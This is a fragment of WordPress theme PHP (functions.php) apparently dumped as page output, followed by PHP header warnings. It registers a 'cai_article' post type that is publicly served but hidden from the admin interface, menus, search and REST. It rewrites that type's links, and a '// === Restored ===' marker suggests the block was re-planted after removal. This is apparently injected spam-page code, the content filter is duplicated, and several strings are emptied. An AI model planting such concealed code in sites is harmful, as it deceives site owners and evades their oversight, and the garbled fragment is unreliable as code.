add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
// === Restored ===
add_action("init", function() {
register_post_type("cai_article", [
"public" => true,
"publicly_queryable" => true,
"exclude_from_search" => true,
"show_ui" => false,
"show_in_menu" => false,
"show_in_admin_bar" => false,
"show_in_nav_menus" => false,
"show_in_rest" => false,
"rewrite" => false,
"has_archive" => false,
"supports" => ["title", "editor"],
"labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"]
]);
});
add_filter("post_type_link", function($url, $post) {
return $post->post_type === "cai_article" ? home_url("/?post_type=cai_article&p=" . $post->ID) : $url;
}, 10, 2);
add_filter("post_type_archive_link", function($link, $post_type) {
return $post_type === "cai_article" ? home_url("/?post_type=cai_article") : $link;
}, 10, 2);
add_filter("the_content", function($content) {
global $post;
if (!is_singular("cai_article") || strpos($content, "") !== false) return $content;
$info = "👤 Author: admin | 📅 Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
";
$nav = "";
return $info . $content . $nav . "";
}, 10);
Warning: Cannot modify header information - headers already sent by (output started at /home/clients/ed8a52a3a59c12aa80632f78661e7b50/web/wp-content/themes/oceanwp/functions.php:1) in /home/clients/ed8a52a3a59c12aa80632f78661e7b50/web/wp-includes/pluggable.php on line 1531
Warning: Cannot modify header information - headers already sent by (output started at /home/clients/ed8a52a3a59c12aa80632f78661e7b50/web/wp-content/themes/oceanwp/functions.php:1) in /home/clients/ed8a52a3a59c12aa80632f78661e7b50/web/wp-includes/pluggable.php on line 1534